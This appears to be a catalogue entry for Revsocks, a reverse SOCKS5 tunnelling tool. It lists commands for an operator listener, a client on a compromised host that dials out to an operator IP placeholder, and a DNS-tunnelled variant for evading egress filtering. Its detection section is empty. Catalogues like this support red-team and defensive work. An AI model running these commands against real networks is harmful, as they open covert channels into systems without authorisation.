.. /Revsocks
Star

Access

Revsocks is a single-binary reverse SOCKS5 tunneler. A server listens on the operator’s host for an inbound connection from a client on the target network, the reverse of a normal SSH dynamic forward, which works from behind NAT/firewalls that only allow outbound connections. It supports TLS, a WebSocket transport that blends in with HTTPS, and a SOCKS5-over-DNS mode.

Paths:

Resources:

Detections:

Access

  1. Starts the operator-side listener (TLS enabled by default) and exposes a SOCKS5 proxy once the client connects back.

    revsocks -listen :8443 -socks 127.0.0.1:1080 -pass <PASSWORD>
    Use case
    Operator side of a reverse SOCKS5 pivot.
    Privileges required
    User
    Operating systems
    Windows, Linux, MacOS, BSD

  2. Client run on the compromised host, dialing out to the operator's listener to establish the reverse SOCKS5 tunnel.

    revsocks -connect <OPERATOR_IP>:8443 -pass <PASSWORD>
    Use case
    Pivoting into the internal network from a host that can only make outbound connections.
    Privileges required
    User
    Operating systems
    Windows, Linux, MacOS, BSD

  3. Client variant that carries the reverse SOCKS5 tunnel inside DNS queries to the given domain, for networks where only DNS resolution is permitted outbound.

    revsocks -dns <TUNNEL_DOMAIN> -pass <PASSWORD>
    Use case
    Pivoting over DNS when direct outbound connections are blocked.
    Privileges required
    User
    Operating systems
    Windows, Linux, MacOS, BSD